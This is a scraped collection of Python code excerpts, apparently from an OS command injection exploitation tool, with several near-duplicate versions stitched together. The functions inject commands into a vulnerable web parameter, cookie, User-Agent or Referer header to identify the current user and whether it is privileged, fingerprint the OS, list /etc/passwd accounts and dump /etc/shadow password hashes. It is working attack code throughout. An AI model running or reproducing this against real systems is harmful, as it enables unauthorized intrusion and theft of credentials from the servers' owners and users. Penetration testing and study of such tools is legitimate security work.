        warn_msg = "It seems that you don't have permissions to read '" 
        warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
        print "\n" + settings.print_warning_msg(warn_msg)  
    except TypeError:
      sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n")
      sys.stdout.flush()
      pass

    except IndexError:
      sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
      warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" 
      warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" 
      sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
      sys.stdout.flush()
      pass
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
  if settings.TARGET_OS == "win":
    settings.CURRENT_USER = settings.WIN_CURRENT_USER
  cmd = settings.CURRENT_USER
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    cu_account = cb_injector.injection_results(response, TAG, cmd)
    cu_account = "".join(str(p) for p in cu_account)
    session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
  else:
    cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if cu_account:
    cu_account = "".join(str(p) for p in cu_account)
    # Check if the user have super privileges.
    if menu.options.is_root or menu.options.is_admin:
      if settings.TARGET_OS == "win":
        cmd = settings.IS_ADMIN
      else:  
        cmd = settings.IS_ROOT 
        if settings.USE_BACKTICKS:
          cmd = cmd.replace("echo $(","").replace(")","")
      if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
          response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        shell = cb_injector.injection_results(response, TAG, cmd)
        shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
        session_handler.store_cmd(url, cmd, shell, vuln_parameter)
      else:
        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
      success_msg = "The current user is " +  cu_account  
      sys.stdout.write(settings.print_success_msg(success_msg))
      # Add infos to logs file.    
      output_file = open(filename, "a")
      success_msg = "The current user is " + cu_account
      output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
      output_file.close()
      if shell:
        if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
           (settings.TARGET_OS != "win" and shell != "0"):
          sys.stdout.write(Style.BRIGHT + " and it is " +  "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write(" and it is not privileged.\n")
          output_file.close()
        else:
          sys.stdout.write(Style.BRIGHT + " and it is " +  Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write(" and it is privileged.\n")
          output_file.close()
    else:
      success_msg = "The current user is " +  cu_account
      sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      success_msg = "The current user is " + cu_account + "\n"
      output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
      output_file.close()
  else:
    warn_msg = "Heuristics have failed to identify the current user."
    print settings.print_warning_msg(warn_msg)
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):     
  if settings.TARGET_OS == "win":
    settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
  cmd = settings.RECOGNISE_OS 
  if settings.TARGET_OS == "win":
    if alter_shell:
      cmd = "cmd /c " + cmd 
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    target_os = cb_injector.injection_results(response, TAG, cmd)
    target_os = "".join(str(p) for p in target_os)
    session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
  else:
    target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if target_os:
    target_os = "".join(str(p) for p in target_os)
    if settings.TARGET_OS != "win":
      cmd = settings.DISTRO_INFO
      if settings.USE_BACKTICKS:
        cmd = cmd.replace("echo $(","").replace(")","")
      if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
          response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        distro_name = cb_injector.injection_results(response, TAG, cmd)
        distro_name = "".join(str(p) for p in distro_name)
        if len(distro_name) != 0:
          target_os = target_os + " (" + distro_name + ")"
        session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
      else:
        target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if settings.TARGET_OS == "win":
      cmd = settings.WIN_RECOGNISE_HP
    else:
      cmd = settings.RECOGNISE_HP
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
      # Command execution results.
      response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
      # Perform target page reload (if it is required).
      if settings.URL_RELOAD:
        response = requests.url_reload(url, timesec)
      # Evaluate injection results.
      target_arch = cb_injector.injection_results(response, TAG, cmd)
      target_arch = "".join(str(p) for p in target_arch)
      session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
    else:
      target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if target_arch:
      success_msg = "The target operating system is " +  target_os + Style.RESET_ALL  
      success_msg += Style.BRIGHT + " and the hardware platform is " +  target_arch
      sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      success_msg = "The target operating system is " + target_os
      success_msg += " and the hardware platform is " + target_arch + ".\n"
      output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
      output_file.close()
  else:
    warn_msg = "Heuristics have failed to retrieve the system information."
    print settings.print_warning_msg(warn_msg)
Exemple #10
0
def system_information(separator, TAG, prefix, suffix, whitespace,
                       http_request_method, url, vuln_parameter, alter_shell,
                       filename, timesec):
    if settings.TARGET_OS == "win":
        settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
    cmd = settings.RECOGNISE_OS
    if settings.TARGET_OS == "win":
        if alter_shell:
            cmd = "cmd /c " + cmd
    if session_handler.export_stored_cmd(
            url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
            response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        target_os = cb_injector.injection_results(response, TAG, cmd)
        target_os = "".join(str(p) for p in target_os)
        session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
    else:
        target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if target_os:
        target_os = "".join(str(p) for p in target_os)
        if settings.TARGET_OS != "win":
            cmd = settings.DISTRO_INFO
            if session_handler.export_stored_cmd(
                    url, cmd,
                    vuln_parameter) == None or menu.options.ignore_session:
                # Command execution results.
                response = cb_injector.injection(separator, TAG, cmd, prefix,
                                                 suffix, whitespace,
                                                 http_request_method, url,
                                                 vuln_parameter, alter_shell,
                                                 filename)
                # Perform target page reload (if it is required).
                if settings.URL_RELOAD:
                    response = requests.url_reload(url, timesec)
                # Evaluate injection results.
                distro_name = cb_injector.injection_results(response, TAG, cmd)
                distro_name = "".join(str(p) for p in distro_name)
                if len(distro_name) != 0:
                    target_os = target_os + " (" + distro_name + ")"
                session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
            else:
                target_os = session_handler.export_stored_cmd(
                    url, cmd, vuln_parameter)
        if settings.TARGET_OS == "win":
            cmd = settings.WIN_RECOGNISE_HP
        else:
            cmd = settings.RECOGNISE_HP
        if session_handler.export_stored_cmd(
                url, cmd,
                vuln_parameter) == None or menu.options.ignore_session:
            # Command execution results.
            response = cb_injector.injection(separator, TAG, cmd, prefix,
                                             suffix, whitespace,
                                             http_request_method, url,
                                             vuln_parameter, alter_shell,
                                             filename)
            # Perform target page reload (if it is required).
            if settings.URL_RELOAD:
                response = requests.url_reload(url, timesec)
            # Evaluate injection results.
            target_arch = cb_injector.injection_results(response, TAG, cmd)
            target_arch = "".join(str(p) for p in target_arch)
            session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
        else:
            target_arch = session_handler.export_stored_cmd(
                url, cmd, vuln_parameter)
        if target_arch:
            success_msg = "The target operating system is " + target_os + Style.RESET_ALL
            success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch
            sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            success_msg = "The target operating system is " + target_os
            success_msg += " and the hardware platform is " + target_arch + ".\n"
            output_file.write(
                re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                    "", settings.SUCCESS_SIGN) + success_msg)
            output_file.close()
    else:
        warn_msg = "Heuristics have failed to retrieve the system information."
        print settings.print_warning_msg(warn_msg)
Exemple #11
0
def system_passwords(separator, TAG, prefix, suffix, whitespace,
                     http_request_method, url, vuln_parameter, alter_shell,
                     filename, timesec):
    if settings.TARGET_OS == "win":
        # Not yet implemented!
        pass
    else:
        cmd = settings.SYS_PASSES
        if session_handler.export_stored_cmd(
                url, cmd,
                vuln_parameter) == None or menu.options.ignore_session:
            # Command execution results.
            response = eb_injector.injection(separator, TAG, cmd, prefix,
                                             suffix, whitespace,
                                             http_request_method, url,
                                             vuln_parameter, alter_shell,
                                             filename)
            # Perform target page reload (if it is required).
            if settings.URL_RELOAD:
                response = requests.url_reload(url, timesec)
            # Evaluate injection results.
            sys_passes = eb_injector.injection_results(response, TAG, cmd)
            sys_passes = "".join(str(p) for p in sys_passes)
            session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
        else:
            sys_passes = session_handler.export_stored_cmd(
                url, cmd, vuln_parameter)
        if sys_passes == "":
            sys_passes = " "
        if sys_passes:
            info_msg = "Fetching '" + settings.SHADOW_FILE
            info_msg += "' to enumerate users password hashes... "
            sys.stdout.write(settings.print_info_msg(info_msg))
            sys.stdout.flush()
            sys_passes = "".join(str(p) for p in sys_passes)
            sys_passes = sys_passes.replace(" ", "\n")
            sys_passes = sys_passes.split()
            if len(sys_passes) != 0:
                sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
                                 Style.RESET_ALL + " ]")
                success_msg = "Identified " + str(len(sys_passes))
                success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
                success_msg += " in '" + settings.SHADOW_FILE + "'.\n"
                sys.stdout.write("\n" +
                                 settings.print_success_msg(success_msg))
                sys.stdout.flush()
                # Add infos to logs file.
                output_file = open(filename, "a")
                output_file.write(
                    re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                        "", settings.SUCCESS_SIGN) + success_msg)
                output_file.close()
                count = 0
                for line in sys_passes:
                    count = count + 1
                    try:
                        if ":" in line:
                            fields = line.split(":")
                            if not "*" in fields[1] and not "!" in fields[
                                    1] and fields[1] != "":
                                print(("  (" + str(count) + ") " +
                                       Style.BRIGHT + fields[0] +
                                       Style.RESET_ALL + " : " + Style.BRIGHT +
                                       fields[1] + Style.RESET_ALL))
                                # Add infos to logs file.
                                output_file = open(filename, "a")
                                output_file.write("    (" + str(count) + ") " +
                                                  fields[0] + " : " +
                                                  fields[1] + "\n")
                                output_file.close()
                    # Check for appropriate '/etc/shadow' format.
                    except IndexError:
                        if count == 1:
                            warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
                            warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
                            sys.stdout.write(
                                settings.print_warning_msg(warn_msg) + "\n")
                        print((fields[0]))
                        output_file = open(filename, "a")
                        output_file.write("      " + fields[0])
                        output_file.close()
            else:
                sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                                 " ]")
                sys.stdout.flush()
                warn_msg = "It seems that you don't have permissions to read '"
                warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
                print(("\n" + settings.print_warning_msg(warn_msg)))
Exemple #12
0
def system_users(separator, TAG, prefix, suffix, whitespace,
                 http_request_method, url, vuln_parameter, alter_shell,
                 filename, timesec):
    if settings.TARGET_OS == "win":
        settings.SYS_USERS = settings.WIN_SYS_USERS
        settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
        if alter_shell:
            settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'")
        else:
            settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
    else:
        settings.SYS_USERS = settings.EVAL_SYS_USERS
    cmd = settings.SYS_USERS
    if session_handler.export_stored_cmd(
            url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
            response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        sys_users = eb_injector.injection_results(response, TAG, cmd)
        sys_users = "".join(str(p) for p in sys_users)
        session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
    else:
        sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    # Windows users enumeration.
    if settings.TARGET_OS == "win":
        info_msg = "Executing the 'net users' command "
        info_msg += "to enumerate users entries... "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()
        try:
            if sys_users[0]:
                sys_users = "".join(str(p) for p in sys_users).strip()
                sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
                                 Style.RESET_ALL + " ]")
                sys_users_list = re.findall(r"(.*)", sys_users)
                sys_users_list = "".join(str(p)
                                         for p in sys_users_list).strip()
                sys_users_list = ' '.join(sys_users_list.split())
                sys_users_list = sys_users_list.split()
                success_msg = "Identified " + str(len(sys_users_list))
                success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
                success_msg += " via 'net users' command.\n"
                sys.stdout.write("\n" +
                                 settings.print_success_msg(success_msg))
                sys.stdout.flush()
                # Add infos to logs file.
                output_file = open(filename, "a")
                output_file.write(
                    re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                        "", settings.SUCCESS_SIGN) + success_msg)
                output_file.close()
                count = 0
                for user in range(0, len(sys_users_list)):
                    count = count + 1
                    if menu.options.privileges:
                        cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[
                            user] + ")[22..($(net user " + sys_users_list[
                                user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
                        if alter_shell:
                            cmd = cmd.replace("'", "\\'")
                        else:
                            cmd = "\"" + cmd + "\""
                        response = eb_injector.injection(
                            separator, TAG, cmd, prefix, suffix, whitespace,
                            http_request_method, url, vuln_parameter,
                            alter_shell, filename)
                        check_privs = eb_injector.injection_results(
                            response, TAG, cmd)
                        check_privs = "".join(str(p)
                                              for p in check_privs).strip()
                        check_privs = re.findall(r"(.*)", check_privs)
                        check_privs = "".join(str(p)
                                              for p in check_privs).strip()
                        check_privs = check_privs.split()
                        if "Admin" in check_privs[0]:
                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
                            is_privileged_nh = " is admin user "
                        else:
                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
                            is_privileged_nh = " is regular user "
                    else:
                        is_privileged = ""
                        is_privileged_nh = ""
                    print(
                        ("    (" + str(count) + ") '" + Style.BRIGHT +
                         sys_users_list[user] + Style.RESET_ALL + "'" +
                         Style.BRIGHT + is_privileged + Style.RESET_ALL + "."))
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write("    (" + str(count) + ") " +
                                      sys_users_list[user] + is_privileged +
                                      ".\n")
                    output_file.close()
            else:
                sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                                 " ]")
                sys.stdout.flush()
                warn_msg = "It seems that you don't have permissions to enumerate users entries."
                print(("\n" + settings.print_warning_msg(warn_msg)
                       ))  # Unix-like users enumeration.
        except TypeError:
            sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                             " ]\n")
            sys.stdout.flush()
            pass

        except IndexError:
            sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                             " ]")
            warn_msg = "It seems that you don't have permissions to enumerate users entries.\n"
            sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
            sys.stdout.flush()
            pass

    else:
        info_msg = "Fetching '" + settings.PASSWD_FILE
        info_msg += "' to enumerate users entries... "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()
        try:
            if sys_users[0]:
                sys_users = "".join(str(p) for p in sys_users).strip()
                if len(sys_users.split(" ")) <= 1:
                    sys_users = sys_users.split("\n")
                else:
                    sys_users = sys_users.split(" ")
                # Check for appropriate '/etc/passwd' format.
                if len(sys_users) % 3 != 0:
                    sys.stdout.write("[ " + Fore.RED + "FAILED" +
                                     Style.RESET_ALL + " ]")
                    sys.stdout.flush()
                    warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
                    warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
                    print(("\n" + settings.print_warning_msg(warn_msg)))
                    sys_users = " ".join(str(p) for p in sys_users).strip()
                    print(sys_users)
                    output_file = open(filename, "a")
                    output_file.write("      " + sys_users)
                    output_file.close()
                else:
                    sys_users_list = []
                    for user in range(0, len(sys_users), 3):
                        sys_users_list.append(sys_users[user:user + 3])
                    if len(sys_users_list) != 0:
                        sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
                                         Style.RESET_ALL + " ]")
                        success_msg = "Identified " + str(len(sys_users_list))
                        success_msg += " entr" + (
                            'ies', 'y')[len(sys_users_list) == 1]
                        success_msg += " in '" + settings.PASSWD_FILE + "'.\n"
                        sys.stdout.write(
                            "\n" + settings.print_success_msg(success_msg))
                        sys.stdout.flush()
                        # Add infos to logs file.
                        output_file = open(filename, "a")
                        output_file.write(
                            re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)
                                       ).sub("", settings.SUCCESS_SIGN) +
                            success_msg)
                        output_file.close()
                        count = 0
                        for user in range(0, len(sys_users_list)):
                            sys_users = sys_users_list[user]
                            sys_users = ":".join(str(p) for p in sys_users)
                            count = count + 1
                            fields = sys_users.split(":")
                            fields1 = "".join(str(p) for p in fields)
                            # System users privileges enumeration
                            try:
                                if not fields[2].startswith("/"):
                                    raise ValueError()
                                if menu.options.privileges:
                                    if int(fields[1]) == 0:
                                        is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
                                        is_privileged_nh = " is root user "
                                    elif int(fields[1]) > 0 and int(
                                            fields[1]) < 99:
                                        is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
                                        is_privileged_nh = " is system user "
                                    elif int(fields[1]) >= 99 and int(
                                            fields[1]) < 65534:
                                        if int(fields[1]) == 99 or int(
                                                fields[1]) == 60001 or int(
                                                    fields[1]) == 65534:
                                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
                                            is_privileged_nh = " is anonymous user "
                                        elif int(fields[1]) == 60002:
                                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
                                            is_privileged_nh = " is non-trusted user "
                                        else:
                                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
                                            is_privileged_nh = " is regular user "
                                    else:
                                        is_privileged = ""
                                        is_privileged_nh = ""
                                else:
                                    is_privileged = ""
                                    is_privileged_nh = ""
                                print(("    (" + str(count) + ") '" +
                                       Style.BRIGHT + fields[0] +
                                       Style.RESET_ALL + "'" + Style.BRIGHT +
                                       is_privileged + Style.RESET_ALL +
                                       "(uid=" + fields[1] +
                                       "). Home directory is in '" +
                                       Style.BRIGHT + fields[2] +
                                       Style.RESET_ALL + "'."))
                                # Add infos to logs file.
                                output_file = open(filename, "a")
                                output_file.write("    (" + str(count) +
                                                  ") '" + fields[0] + "'" +
                                                  is_privileged_nh + "(uid=" +
                                                  fields[1] +
                                                  "). Home directory is in '" +
                                                  fields[2] + "'.\n")
                                output_file.close()
                            except ValueError:
                                if count == 1:
                                    warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
                                    warn_msg += "appropriate format. Thus, it is expoted as a text file."
                                    print(
                                        (settings.print_warning_msg(warn_msg)))
                                sys_users = " ".join(
                                    str(p) for p in sys_users.split(":"))
                                print(sys_users)
                                output_file = open(filename, "a")
                                output_file.write("      " + sys_users)
                                output_file.close()
            else:
                sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                                 " ]")
                sys.stdout.flush()
                warn_msg = "It seems that you don't have permissions to read '"
                warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
                print(("\n" + settings.print_warning_msg(warn_msg)))

        except TypeError:
            sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                             " ]\n")
            sys.stdout.flush()
            pass

        except IndexError:
            sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                             " ]")
            warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
            warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n"
            sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
            sys.stdout.flush()
            pass
Exemple #13
0
def current_user(separator, TAG, prefix, suffix, whitespace,
                 http_request_method, url, vuln_parameter, alter_shell,
                 filename, timesec):
    if settings.TARGET_OS == "win":
        settings.SYS_USERS = settings.WIN_SYS_USERS
        settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
        if alter_shell:
            settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'")
        else:
            settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
    cmd = settings.CURRENT_USER
    if session_handler.export_stored_cmd(
            url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
            response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        cu_account = eb_injector.injection_results(response, TAG, cmd)
        cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1)
        session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
    else:
        cu_account = session_handler.export_stored_cmd(url, cmd,
                                                       vuln_parameter)
    if cu_account:
        # Check if the user have super privileges.
        if menu.options.is_root or menu.options.is_admin:
            if settings.TARGET_OS == "win":
                cmd = settings.IS_ADMIN
                if not alter_shell:
                    cmd = "\"" + cmd + "\""
            else:
                cmd = settings.IS_ROOT
            if session_handler.export_stored_cmd(
                    url, cmd,
                    vuln_parameter) == None or menu.options.ignore_session:
                # Command execution results.
                response = eb_injector.injection(separator, TAG, cmd, prefix,
                                                 suffix, whitespace,
                                                 http_request_method, url,
                                                 vuln_parameter, alter_shell,
                                                 filename)
                # Perform target page reload (if it is required).
                if settings.URL_RELOAD:
                    response = requests.url_reload(url, timesec)
                # Evaluate injection results.
                shell = eb_injector.injection_results(response, TAG, cmd)
                shell = "".join(str(p) for p in shell).replace(" ", "", 1)
                session_handler.store_cmd(url, cmd, shell, vuln_parameter)
            else:
                shell = session_handler.export_stored_cmd(
                    url, cmd, vuln_parameter)
            success_msg = "The current user is " + cu_account
            sys.stdout.write(settings.print_success_msg(success_msg))
            # Add infos to logs file.
            output_file = open(filename, "a")
            success_msg = "The current user is " + cu_account
            output_file.write(
                re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                    "", settings.SUCCESS_SIGN) + success_msg)
            output_file.close()
            if shell:
                if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
                   (settings.TARGET_OS != "win" and shell != "0"):
                    sys.stdout.write(Style.BRIGHT + " and it is " + "not" +
                                     Style.RESET_ALL + Style.BRIGHT +
                                     " privileged" + Style.RESET_ALL + ".\n")
                    sys.stdout.flush()
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write(" and it is not privileged.\n")
                    output_file.close()
                else:
                    sys.stdout.write(Style.BRIGHT + " and it is " +
                                     Style.RESET_ALL + Style.BRIGHT +
                                     "privileged" + Style.RESET_ALL + ".\n")
                    sys.stdout.flush()
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write(" and it is privileged.\n")
                    output_file.close()
        else:
            success_msg = "The current user is " + cu_account
            sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            success_msg = "The current user is " + cu_account + "\n"
            output_file.write(
                re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                    "", settings.SUCCESS_SIGN) + success_msg)
            output_file.close()
    else:
        warn_msg = "Heuristics have failed to identify the current user."
        print((settings.print_warning_msg(warn_msg)))
Exemple #14
0
def cb_injection_handler(url, timesec, filename, http_request_method):

    counter = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    export_injection_info = False
    injection_type = "results-based OS command injection"
    technique = "classic command injection technique"

    if not settings.LOAD_SESSION:
        info_msg = "Testing the " + "(" + injection_type.split(
            " ")[0] + ") " + technique + "... "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()
        if settings.VERBOSITY_LEVEL >= 1:
            print ""

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACE:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:
                    if whitespace == " ":
                        whitespace = urllib.quote(whitespace)
                    # Check injection state
                    settings.DETECTION_PHASE = True
                    settings.EXPLOITATION_PHASE = False
                    # If a previous session is available.
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique, injection_type):
                        try:
                            settings.CLASSIC_STATE = True
                            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                                url, http_request_method)
                            checks.check_for_stored_tamper(payload)
                        except TypeError:
                            err_msg = "An error occurred while accessing session file ('"
                            err_msg += settings.SESSION_FILE + "'). "
                            err_msg += "Use the '--flush-session' option."
                            print settings.print_critical_msg(err_msg)
                            sys.exit(0)

                    else:
                        i = i + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for i in range(6))

                        randv1 = random.randrange(100)
                        randv2 = random.randrange(100)
                        randvcalc = randv1 + randv2

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        try:
                            if alter_shell:
                                # Classic -alter shell- decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision_alter_shell(
                                    separator, TAG, randv1, randv2)
                            else:
                                # Classic decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision(
                                    separator, TAG, randv1, randv2)

                            # Define prefixes & suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            # Whitespace fixation
                            payload = re.sub(" ", whitespace, payload)

                            # Check for base64 / hex encoding
                            payload = checks.perform_payload_encoding(payload)

                            # Check if defined "--verbose" option.
                            if settings.VERBOSITY_LEVEL == 1:
                                print settings.print_payload(payload)
                            elif settings.VERBOSITY_LEVEL > 1:
                                info_msg = "Generating a payload for injection..."
                                print settings.print_info_msg(info_msg)
                                print settings.print_payload(payload)

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = cb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = cb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = cb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

